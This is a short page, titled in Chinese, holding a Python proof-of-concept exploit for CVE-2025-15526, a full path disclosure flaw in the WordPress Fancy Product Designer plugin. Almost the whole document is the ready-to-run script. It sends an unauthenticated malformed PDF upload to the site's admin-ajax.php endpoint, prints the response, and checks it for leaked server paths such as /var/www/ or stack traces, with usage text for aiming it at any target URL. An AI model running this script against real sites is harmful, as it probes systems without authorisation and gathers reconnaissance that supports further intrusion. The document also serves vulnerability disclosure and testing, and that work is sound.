CVE-2025-15526 WordPress Fancy Product Designer路径泄露漏洞

import requests import sys def exploit_cve_2025_15526(target_url): """ CVE-2025-15526 PoC - Fancy Product Designer Full Path Disclosure This PoC demonstrates how to trigger the path disclosure vulnerability by sending a malformed PDF upload request. """ # Target WordPress site URL target = target_url.rstrip('/') # Endpoint for PDF upload (typical Fancy Product Designer AJAX handler) upload_endpoint = f"{target}/wp-admin/admin-ajax.php" # Prepare malicious file upload request files = { 'action': 'fpd_admin_ajax', 'sub_action': 'upload_product_pdf', 'product_pdf': ('malformed.pdf', b'%PDF-1.4\n%garbage\n/invalid /stream', 'application/pdf') } data = { 'sub_action': 'upload_product_pdf' } print(f"[*] Sending malicious PDF upload request to {upload_endpoint}") try: # Send POST request without authentication response = requests.post(upload_endpoint, files=files, data=data, timeout=30) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response Body:\n{response.text}") # Check for path disclosure indicators path_indicators = ['/var/www/', '/home/', '/usr/local/', '/opt/', 'Stack trace', 'wp-content'] for indicator in path_indicators: if indicator in response.text: print(f"[!] Path disclosure detected: Found '{indicator}' in response") return True print("[*] No obvious path disclosure detected (may need manual inspection)") return False except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return False if __name__ == '__main__': if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://example.com") sys.exit(1) exploit_cve_2025_15526(sys.argv[1])